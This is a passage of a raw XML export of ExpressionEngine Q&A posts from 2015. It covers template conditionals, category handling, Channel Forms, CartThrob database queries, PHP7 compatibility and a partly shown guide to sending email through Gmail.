($this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('FROM') == 'forum') ? '&amp;amp;r=f&amp;amp;board_id='.$board_id : '';&#xA;&#xA;    $add = ($mailinglist_subscribe !== TRUE) ? '' : '&amp;amp;mailinglist='.$_POST['mailinglist_subscribe'];&#xA;&#xA;    $authcode_data = array('authcode' =&amp;gt; $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;random('alnum', 10));&#xA;&#xA;    $swap = array(&#xA;        'name'              =&amp;gt; $name,&#xA;        'activation_url'    =&amp;gt; $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;fetch_site_index(0, 0).QUERY_MARKER.'ACT='.$action_id.'&amp;amp;id='.$authcode_data['authcode'].$forum_id.$add,&#xA;        'site_name'         =&amp;gt; stripslashes($this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('site_name')),&#xA;        'site_url'          =&amp;gt; $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('site_url'),&#xA;        'username'          =&amp;gt; $data['username'],&#xA;        'email'             =&amp;gt; $data['email'],&#xA;        'password'          =&amp;gt; $password&#xA;     );&#xA;&#xA;    $email_subject = ($this-&amp;gt;settings['email_subject']!='')?$this-&amp;gt;settings['email_subject']:$this-&amp;gt;email_subject;&#xA;    $email_template = ($this-&amp;gt;settings['email_template']!='')?$this-&amp;gt;settings['email_template']:$this-&amp;gt;email_template;&#xA;    $template_q = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;fetch_email_template('mbr_activation_instructions');&#xA;    $email_tit = $this-&amp;gt;_var_swap($email_subject, $swap);&#xA;    $email_msg = $this-&amp;gt;_var_swap($email_template, $swap);&#xA;&#xA;    // Send email&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;helper('text');&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('email');&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;wordwrap = true;&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;from($this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('webmaster_email'), $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('webmaster_name'));&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;to($data['email']);&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;subject($email_tit);&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;message(entities_to_ascii($email_msg));&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;Send();&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('member_id', $member_id);&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;update('members', $authcode_data);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-11-11T10:42:56.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34697" PostTypeId="2" ParentId="34121" CreationDate="2015-11-11T13:18:32.557" Score="0" Body="&lt;p&gt;It should be done like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{composer:fields}&#xA;                {if composer:field_output}&#xA;                    {if composer:field_type == 'nonfield_title'}&#xA;                        &amp;lt;h2&amp;gt;{composer:field_output}&amp;lt;/h2&amp;gt;&#xA;                    {if:elseif composer:field_type == &quot;text&quot;}&#xA;                        &amp;lt;fieldset&amp;gt;&#xA;                        &amp;lt;label class=&quot;field_label no-sidebar&quot; {if composer:field_name != ''}for=&quot;{composer:field_name}&quot;{/if}&amp;gt;&#xA;                            {composer:field_label}&#xA;                            {if composer:field_required}&amp;lt;span class=&quot;required&quot; required aria-required=&quot;true&quot;&amp;gt;*&amp;lt;/span&amp;gt;{/if}&#xA;                        &amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; class=&quot;input&quot; name=&quot;{composer:field_name}&quot; placeholder=&quot;{composer:field_label}&quot;&amp;gt;&amp;lt;/fieldset&amp;gt;&#xA;                    {/if}&#xA;                    {if:else}&#xA;                        &amp;lt;fieldset&amp;gt;{composer:field_output}&amp;lt;/fieldset&amp;gt;&#xA;                    {/if}&#xA;                {/if}&#xA;{/composer:fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2015-11-11T13:18:32.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34700" PostTypeId="1" AcceptedAnswerId="34712" CreationDate="2015-11-11T16:57:28.190" Score="0" ViewCount="60" Body="&lt;p&gt;&lt;strong&gt;Scenario&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that entries are in several categories and can be Featured (a FieldPack pill with yes/no options) but only want certain categories to show the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have a &lt;code&gt;featured_listing_category&lt;/code&gt; &lt;code&gt;WB Category fieldtype&lt;/code&gt; setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had this worked out but apparently still not working the way expected. I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if !'{exp:phpstringfun function=&quot;strpos&quot; par1=&quot;{featured_listing_category}&quot;}{segment_4_category_id}{/exp:phpstringfun}’}&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;{featured_listing_category}&lt;/code&gt; outputting &lt;code&gt;399|400&lt;/code&gt; and &lt;code&gt;{segment_4_category_id}&lt;/code&gt; outputting &lt;code&gt;372&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to test whether &lt;code&gt;{segment_4_category_id}&lt;/code&gt; is included with &lt;code&gt;{featured_listing_category}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it helps here is my template snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;      channel=&quot;listing&quot;&#xA;      dynamic=&quot;no&quot;&#xA;      {if segment_5 ==''} category=&quot;{segment_2_category_id}&amp;amp;{segment_4_category_id}&quot;{/if}&#xA;      {if segment_5} category=&quot;{segment_6_category_id}&amp;amp;{segment_4_category_id}&quot;{/if}&#xA;      orderby=&quot;level_sort&quot;&#xA;      sort=&quot;asc&quot;&#xA;      search:featured_listing=&quot;yes&quot;&#xA;      disable=&quot;categories|pagination|category_fields|member_data&quot;&#xA;    }&#xA;{if !'{exp:phpstringfun function=&quot;strpos&quot; par1=&quot;{segment_4_category_id}&quot;}{featured_listing_category}{/exp:phpstringfun}'}&#xA;    &amp;lt;div class=&quot;listingItem featuredListing&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;featuredIcon&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!-- /.featuredIcon --&amp;gt;&#xA;      &amp;lt;div class=&quot;image&quot;&amp;gt;&#xA;        {if main_image}&#xA;        {exp:ce_img:pair src=&quot;{main_image}&quot; width=&quot;165&quot; height=&quot;165&quot; allow_scale_larger=&quot;yes&quot; crop=&quot;yes|center|center&quot; }&amp;lt;a href=&quot;/listing/details/{url_title}&quot;&amp;gt;&amp;lt;img src=&quot;{made}&quot; width=&quot;{w}&quot; height=&quot;{h}&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/a&amp;gt;{/exp:ce_img:pair}&#xA;        {/if}&#xA;        {if main_image ==''}&#xA;        &amp;lt;img src=&quot;/uploads/default_listingItemImage.jpg&quot; alt=&quot;&quot; /&amp;gt;&#xA;        {/if}&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!-- /.image --&amp;gt;&#xA;      &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;buttonReviews&quot;&amp;gt;&#xA;          &amp;lt;p&amp;gt;&amp;lt;a href=&quot;/listing/details/{url_title}/{segment_2}/{segment_4}&quot; class=&quot;btn orange&quot;&amp;gt;View Listing&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;          &amp;lt;div class=&quot;reviews&quot;&amp;gt;&#xA;            {exp:rating:stats collection=&quot;Book Reviews&quot; entry_id=&quot;{entry_id}&quot; precision=&quot;1&quot;}&#xA;              &amp;lt;p&amp;gt;{stars_overall_avg}&amp;lt;/p&amp;gt;&#xA;              {if rating_no_results}&amp;lt;p&amp;gt;&amp;lt;a href=&quot;/listing/details/{url_title}/&quot;&amp;gt;Rate This Listing&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;{/if}&#xA;            {/exp:rating:stats}&#xA;          &amp;lt;/div&amp;gt;&amp;lt;!-- /.reviews --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- /.buttonReviews --&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/listing/details/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        {addresses limit=&quot;3&quot;}&#xA;        &amp;lt;p&amp;gt;{if company_name}{company_name}&amp;lt;br /&amp;gt;{/if}{if address1}{address1}{/if} {address2} {if city}&amp;lt;br&amp;gt;{city}, {/if} {if state}{state}{/if} {if phone}&amp;lt;br&amp;gt;Phone: {phone}{/if} {if website_url}&amp;lt;br&amp;gt; &amp;lt;a href=&quot;http://{website_url}&quot; target=&quot;_blank&quot;&amp;gt;{website_url}&amp;lt;/a&amp;gt;{/if}&amp;lt;/p&amp;gt;&#xA;        {if row_count == total_rows &amp;amp;&amp;amp; total_rows &amp;gt; 1}&#xA;        &amp;lt;p&amp;gt;&amp;lt;a href=&quot;/listing/details/{url_title}/&quot;&amp;gt;See More&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;        {/addresses}&#xA;        {if overview}&#xA;        &amp;lt;h4&amp;gt;Overview&amp;lt;/h4&amp;gt;&#xA;        {overview}&#xA;        {/if}&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!-- /.content --&amp;gt;&#xA;      &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!-- /.clearfix --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- /.listingItem --&amp;gt;&#xA;    {/if}&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2015-11-12T16:43:10.783" Title="Conditional Check Issue || Is Entry in any of these Categories?" Tags="|categories|conditionals|phpstringfun|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34701" PostTypeId="2" ParentId="34135" CreationDate="2015-11-11T17:57:37.847" Score="1" Body="&lt;p&gt;I had the exact same problem. It looks as though EE's native password reset doesn't understand Freemember's reset code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to fix this issue by creating a template with Freemember's &lt;a href=&quot;https://github.com/devdemon/freemember/blob/master/docs/reset_password_tag.md&quot; rel=&quot;nofollow&quot;&gt;reset password&lt;/a&gt; tag and passed the folder and file name to Freemember's forgot_password tag as a &lt;a href=&quot;https://github.com/devdemon/freemember/blob/master/docs/forgot_password_tag.md#reset&quot; rel=&quot;nofollow&quot;&gt;reset parameter&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3408" LastActivityDate="2015-11-11T17:57:37.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34702" PostTypeId="1" CreationDate="2015-11-11T21:26:50.057" Score="0" ViewCount="33" Body="&lt;p&gt;I need to add two sites to my Multiple Site Manager in Expression Engine 1.6.8.  There are 24 microsites already.  The first I added, and it looks ok, but I do not get the &quot;Create a New Site&quot; link when I go to &quot;Edit Sites&quot;.  I'm worried that the database has too many columns or something like that.   Any suggestions?  &lt;/p&gt;&#xA;" OwnerUserId="6306" LastActivityDate="2015-12-16T01:46:05.687" Title="Multiple Site Manager Can't Add Site EE 1.6.8" Tags="|multiple-sites|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34703" PostTypeId="1" CreationDate="2015-11-12T00:29:32.920" Score="0" ViewCount="36" Body="&lt;p&gt;I am trying to edit the option names which appear in a drop down in a contact us form. I am really struggling to find where the ability to change this is located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attached is a screenshot of what I am talking about... If anyone could please offer some advice or help this would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank in advance&#xA;&lt;a href=&quot;https://i.stack.imgur.com/IgYZc.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IgYZc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6755" LastEditorUserId="3579" LastEditDate="2016-01-13T13:37:26.720" LastActivityDate="2016-05-25T05:56:52.610" Title="Editing form options" Tags="|forms|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34704" PostTypeId="2" ParentId="34703" CreationDate="2015-11-12T02:31:08.017" Score="0" Body="&lt;p&gt;You need to edit the field in your Control Panel. Log in to your CP and head to your FreeForm modules area. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Your Site -&amp;gt; CP Home -&amp;gt; Modules -&amp;gt; Freeform Pro -&amp;gt; Fields&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Find your select field, and click on the edit button (it's a gear in the Edit column). At the bottom of the page, you have your &lt;code&gt;Field Options&lt;/code&gt; section. There you can add/edit selections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/software/expressionengine/freeform/docs/control_panel/#fields&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/software/expressionengine/freeform/docs/control_panel/#fields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-11-12T02:31:08.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34705" PostTypeId="2" ParentId="34702" CreationDate="2015-11-12T09:09:16.310" Score="1" Body="&lt;p&gt;Perhaps you run out of number of available sites for your MSM license. Check that in your purchases section on EllisLab's site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure though you'll be able to purchase more, as EE1 is not supported officially anymore.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-11-12T09:09:16.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34706" PostTypeId="2" ParentId="26471" CreationDate="2015-11-12T12:18:51.957" Score="2" Body="&lt;p&gt;I had the same problem post upgrade from EE 2.8 to 2.10 and found that I needed to change the conditionals as follows to make them work again:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{my_checkboxes:selected option=&quot;value&quot;}' == '1'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="191" LastActivityDate="2015-11-12T12:18:51.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34707" PostTypeId="1" AcceptedAnswerId="34720" CreationDate="2015-11-12T13:37:18.623" Score="0" ViewCount="220" Body="&lt;p&gt;I'm trying to get this to display a the total results of a count just once. So if there are 120 results, have it output &quot;120&quot;. Instead it shows each line 1,2,3,etc. and count == &quot;1&quot; displays nothing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count == 0}&#xA;{exp:channel:entries channel=&quot;people&quot; search:people_alpha=&quot;={segment_3}&quot; orderby=&quot;people_lname&quot; sort=&quot;asc&quot;}&#xA;&amp;lt;h3&amp;gt;{absolute_count}&amp;lt;/h3&amp;gt;&#xA;{/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help on this&lt;/p&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2015-11-14T10:47:54.393" Title="Displaying total results of channel entries" Tags="|ee2|channel-entries|count|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34708" PostTypeId="2" ParentId="34707" CreationDate="2015-11-12T14:38:36.207" Score="1" Body="&lt;p&gt;I can't tell  because you didn't post enough code, but it looks like you have a &lt;code&gt;{exp:channel:entries}&lt;/code&gt; loop inside of another loop, possible another channel loop. This isn't going to fly; the parse order of the templating engine won't render the output you want properly. You need to extract that inner loop and put it in an embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee2docs.com/templates/embedding.html&quot; rel=&quot;nofollow&quot;&gt;http://ee2docs.com/templates/embedding.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An embed allows your inner loop to be parsed separately from the outer loop.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-11-12T14:38:36.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34710" PostTypeId="1" AcceptedAnswerId="34753" CreationDate="2015-11-12T15:54:30.967" Score="0" ViewCount="87" Body="&lt;p&gt;How can I limit related entries to a specific category, while matching the relation on specific category groups? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously this would be the code for it &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries related_categories_mode=&quot;yes&quot; channel=&quot;news&quot; custom_fields=&quot;yes&quot; limit=&quot;10&quot; category=&quot;16&quot; category_group=&quot;7|1&quot;  uncategorized_entries=&quot;no&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;/{language_code}/solutions/nieuws/detail/{news_url_title_{language_code}}/{entry_id}&quot;&amp;gt;{news_title_{language_code}}&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the category parameter is not supported with using related_categories_mode.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT - additional clarification:&#xA;Category group is used to make sure that only in entries that have the same categories in those groups are presented as related entry.&lt;br&gt;&#xA;E.g: the news channel has 5 category groups, but only 2 of them are relevant for the relationship, the others are e.g. audience segment (partner, customer, supplier) or message type (press release, item, blog)&#xA;In this case only the related entries need to be shown if their audience segment is 'customer' (multiple can be selected)&lt;/p&gt;&#xA;" OwnerUserId="510" LastEditorUserId="510" LastEditDate="2015-11-12T17:37:22.133" LastActivityDate="2015-11-17T08:59:44.463" Title="Limit related entries to specific category" Tags="|categories|related-entries|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34711" PostTypeId="1" AcceptedAnswerId="36252" CreationDate="2015-11-12T16:04:20.957" Score="8" ViewCount="3136" Body="&lt;p&gt;&lt;strong&gt;PHP 7 Release Candidate 7&lt;/strong&gt; &lt;a href=&quot;http://php.net/archive/2015.php#id2015-11-12-1&quot; rel=&quot;nofollow&quot;&gt;came out&lt;/a&gt; today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://twitter.com/@rasmus&quot; rel=&quot;nofollow&quot;&gt;Rasmus Lerdorf&lt;/a&gt; has been &lt;a href=&quot;http://talks.php.net/taiwan15#/&quot; rel=&quot;nofollow&quot;&gt;giving talks&lt;/a&gt; on the advantages of PHP7 including benchmarking against many popular PHP applications -- for example here's &lt;a href=&quot;http://talks.php.net/taiwan15#/wpbench&quot; rel=&quot;nofollow&quot;&gt;the benchmark for WordPress&lt;/a&gt;.  His talks also include &lt;a href=&quot;http://talks.php.net/taiwan15#/php_contribute&quot; rel=&quot;nofollow&quot;&gt;a request&lt;/a&gt; for PHP users to run their own tests/benchmarks against their own code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone tried EE3 or EE2 on this new version of PHP?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has EllisLab made any comment regarding EE on PHP7?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone tried benchmarking EE on PHP7 according to Ras' instructions?&lt;/p&gt;&#xA;" OwnerUserId="210" LastEditorUserId="389" LastEditDate="2015-11-18T11:42:39.667" LastActivityDate="2023-10-18T15:25:26.730" Title="ExpressionEngine on PHP7" Tags="|php|performance|compatibility|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34712" PostTypeId="2" ParentId="34700" CreationDate="2015-11-12T16:12:01.793" Score="1" Body="&lt;pre&gt;&lt;code&gt;{if &quot;|{featured_listing_category}|&quot; *= &quot;|{segment_4_category_id}|&quot;}&#xA;    {!-- Is Included --}&#xA;{if:else}&#xA;    {!-- Isn't Included --}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputs as example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;|399|400|&quot; contains &quot;|372|&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pipes required either side to ensure partial cats don't get incorrectly matched, e.g. 399 contains 39.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2015-11-12T16:43:10.783" LastActivityDate="2015-11-12T16:43:10.783" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34714" PostTypeId="1" AcceptedAnswerId="34715" CreationDate="2015-11-12T18:03:25.523" Score="0" ViewCount="91" Body="&lt;p&gt;Is it possible to edit categories against an entry using ExpressionEngine Channel Forms? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;{selected}&lt;/strong&gt; variable doesn't seem to be getting set, so it's always resetting back to the first category in the select drop down.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;category[]&quot; id=&quot;categories&quot;&amp;gt;&#xA;   {exp:channel:categories category_group=&quot;3&quot;}&#xA;   &amp;lt;option value=&quot;{category_id}&quot; {selected}&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;   {/exp:channel:categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using EE2.9.0, and no upgrading is not an option. Also, yes I've used Channel Forms before and it's all working aside from this. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2015-11-12T18:27:37.260" Title="Edit Categories On Entry With Channel Forms" Tags="|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34715" PostTypeId="2" ParentId="34714" CreationDate="2015-11-12T18:27:37.260" Score="1" Body="&lt;p&gt;The documentation would lead me to suggest using the native &lt;code&gt;{category_menu}&lt;/code&gt; variable pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee2docs.com/add-ons/channel/channel_form/index.html#categories&quot; rel=&quot;nofollow&quot;&gt;http://ee2docs.com/add-ons/channel/channel_form/index.html#categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the example from the docs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{category_menu}&#xA;    &amp;lt;label for=&quot;categories&quot;&amp;gt;Categories&amp;lt;/label&amp;gt;&#xA;    &amp;lt;select name=&quot;category[]&quot; id=&quot;categories&quot; size=&quot;4&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;        {select_options}&#xA;    &amp;lt;/select&amp;gt;&#xA;{/category_menu}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That &lt;em&gt;should&lt;/em&gt; do it.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-11-12T18:27:37.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34716" PostTypeId="1" AcceptedAnswerId="34717" CreationDate="2015-11-12T18:35:23.400" Score="1" ViewCount="57" Body="&lt;p&gt;I have a very weird behaviour: One of my channels does not show any entries on one specific template site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the following EE tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;gallery_slider&quot; category=&quot;6&quot; limit=&quot;1&quot;}test output{/exp}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I use this code in the one specific template, it does not show &lt;code&gt;test output&lt;/code&gt;. I made sure, that I have content in the channel with the category: I used the tag within another template, where the &lt;code&gt;test output&lt;/code&gt; is shown as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the problematic template I use another channel, which is showing its content correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what could lead to this behaviour as both templates are nearly identical. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I don't use the channel within the other channel&lt;/li&gt;&#xA;&lt;li&gt;both templates (the working and the non working template) use each two different channels&lt;/li&gt;&#xA;&lt;li&gt;In one template the channel &lt;code&gt;gallery_slider&lt;/code&gt; outputs content&lt;/li&gt;&#xA;&lt;li&gt;In one template the channel &lt;code&gt;gallery_slider&lt;/code&gt; does not output content&lt;/li&gt;&#xA;&lt;li&gt;both templates have a url defined via template route manager&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any ideas, what could lead to the missing content?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6794" LastActivityDate="2015-11-12T18:57:12.180" Title="Channel does not show entries on specific template site" Tags="|channel-entries|templates|template-manager|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34717" PostTypeId="2" ParentId="34716" CreationDate="2015-11-12T18:57:12.180" Score="2" Body="&lt;p&gt;Add &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; to your parameters like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;gallery_slider&quot; category=&quot;6&quot; limit=&quot;1&quot; dynamic=&quot;no&quot;}&#xA;    test output&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine tries to determine the &lt;code&gt;entry_id&lt;/code&gt; or &lt;code&gt;url_title&lt;/code&gt; by itself, and if that id isn't part of that channel it won't show anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/channel/channel_entries.html#dynamic&quot; rel=&quot;nofollow&quot;&gt;Here's a link&lt;/a&gt; to the docs.&lt;/p&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-11-12T18:57:12.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34718" PostTypeId="1" AcceptedAnswerId="35234" CreationDate="2015-11-12T19:03:08.207" Score="0" ViewCount="44" Body="&lt;p&gt;I'm really struggling to reduce the number of database queries on a Cartthrob install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I look at the EE output profiler, I see that most of the queries are &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `exp_cartthrob_cart` SET `cart` = ........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Being called from the Cart Model and the update_cart() method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my research, the query will happen whenever save_cart() or save() methods are called, which happens very often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the size of my cart increases the number of queries gets really high. I've seen over 100 of the same looking query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried optimizing my templates, but even adding 1 tag such as {exp:cartthrob:checkout_form} or {exp:cartthrob:cart_items_info} can add 30 or so of these update queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There has to be a way to reduce these, but it's beyond my skill to find. I'd appreciate any advice or assistance you may have.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This question is similar to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17565/how-to-prevent-cartthrob-from-making-hundreds-of-sql-queries-and-running-extreme&quot;&gt;How to prevent CartThrob from making hundreds of SQL queries and running extremely slow?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="336" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2016-01-11T14:45:54.557" Title="Cartthrob and cart update queries" Tags="|cartthrob|database|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34719" PostTypeId="2" ParentId="333" CreationDate="2015-11-12T22:48:45.610" Score="5" Body="&lt;p&gt;With Google's move toward &lt;a href=&quot;https://googleonlinesecurity.blogspot.de/2014/04/new-security-measures-will-affect-older.html&quot; rel=&quot;noreferrer&quot;&gt;stricter security measures regarding how third-parties connect with their services&lt;/a&gt;, there's now another step required to set up ExpressionEngine to send email through Gmail. Beginning to end, here's how to do it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 1: Allow &quot;Less Secure Apps&quot; to Access Gmail&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Sign in to the Gmail (or Gmail-powered Google Apps) account you want to use and open up the &lt;a href=&quot;http://www.google.com/settings/security/lesssecureapps&quot; rel=&quot;noreferrer&quot;&gt;&quot;less secure apps&quot; section&lt;/a&gt; under My Account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turn on access for less secure 